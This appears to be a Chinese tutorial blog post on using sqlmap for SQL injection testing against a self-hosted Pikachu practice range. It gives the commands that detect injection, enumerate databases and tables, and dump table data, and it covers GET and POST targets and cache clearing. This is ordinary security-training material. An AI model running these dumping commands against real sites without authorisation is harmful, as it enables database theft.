sqlmap介绍
sqlmap 是一款开源、自动化的SQL注入漏洞检测与利用工具,主要用于帮助安全测试人员、渗透测试工程师发现并验证Web应用程序中存在的SQL注入漏洞,进而评估漏洞可能带来的安全风险(如数据泄露、服务器控制权被夺取等)。它基于Python开发,支持多种数据库类型和注入技术,是Web安全领域最常用的工具之一。
什么是SQL注入
由于Web应用程序对用户输入的数据合法性没有过滤或者判断,攻击者可以在Web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

sqlmap实战
目标网站
B站UP主(ID:2005814455):http://a5fa4ee523e3.target.yijinglab.com/
不建议使用,建议自己搭建,后续我将使用皮卡丘靶场
- 测试是否存在漏洞
sqlmap -u 测试网址

(若存在类似于以下的信息则表示存在注入漏洞)

- 测试当前的数据库名字
sqlmap -u 测试网址 --dbs

(此处为最终获取到的结果)

- 测试指定数据库中的数据表的信息
sqlmap -u 测试网址 -D 数据库名 --tables

(此处为最终获取到的结果)

- 测试指定数据表中的数据(此处我使用的自己部署的pikachu靶场)
sqlmap -u 测试网址 -D 数据库名 -T 数据表名 [-C 字段名1,字段名2,...] --dump

(此处为最终获取到的结果)

扫描缓存
sqlmap扫描重复检测出已修复的漏洞,大概率是缓存/扫描配置残留或修复未彻底导致的。
- 扫描命令后直接添加
--flush-session可以强制清空当前目标的会话缓存,且本次扫描不缓存- Linux/Kali(彻底删除缓存目录)
/.local/share/sqlmap/或/usr/share/sqlmap/data/- Kali中可以使用命令一键删除:
rm -rf ~/.local/share/sqlmap/*
常错雷区
注意区分 GET 请求和 POST 请求,它们的请求方式不同,以我的pikachu靶场为例:
./pikachu/vul/sqli/sqli_str.php
- 请求方式:
GET - 请求参数:
name=...&submit=查询 - sqlmap扫描命令:
sqlmap -u "http://192.168.1.12:8888/pikachu/vul/sqli/sqli_str.php?name=zhangsan&submit=查询" --flush-session
./pikachu/vul/sqli/sqli_id.php
- 请求方式:
POST - 请求参数:
id=...&submit=查询 - sqlmap扫描命令:
sqlmap -u "http://192.168.1.12:8888/pikachu/vul/sqli/sqli_id.php" --data "id=5&submit=查询" --flush-session
提示
此处的
192.168.1.12:8888为我本地的pikachu靶场地址,扫描时更换为自己的既可